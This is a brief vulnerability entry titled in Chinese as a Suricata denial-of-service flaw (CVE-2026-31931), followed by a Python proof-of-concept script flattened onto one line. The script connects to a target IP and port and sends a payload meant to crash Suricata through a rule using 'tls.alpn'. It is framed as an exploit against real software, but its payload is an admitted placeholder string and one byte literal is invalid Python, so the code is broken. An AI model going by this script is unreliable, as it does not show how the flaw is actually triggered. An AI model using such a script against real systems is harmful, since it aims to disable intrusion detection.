CVE-2026-31931 Suricata拒绝服务漏洞

# PoC for CVE-2026-31931 # This script demonstrates the concept of triggering the NULL pointer dereference # by sending a crafted packet that matches a rule using 'tls.alpn'. import socket import struct def create_tls_client_hello_with_alpn(): # Simplified TLS Client Hello structure containing an ALPN extension # The specific payload structure required to trigger the crash depends on # the exact parsing logic of Suricata < 8.0.4, but involves the ALPN extension. tls_record_header = b"\x16\x03\x01\x00\x" # Handshake, TLS 1.0, Length (placeholder) # ... (Full TLS handshake construction would go here) # This serves as a conceptual placeholder for the exploit packet. return b"MALFORMED_TLS_PACKET_FOR_ALPN_TEST" def send_exploit(target_ip, target_port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) payload = create_tls_client_hello_with_alpn() sock.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage: python3 poc.py <TARGET_IP> <PORT> # Note: Ensure Suricata is running a rule with 'tls.alpn' keyword.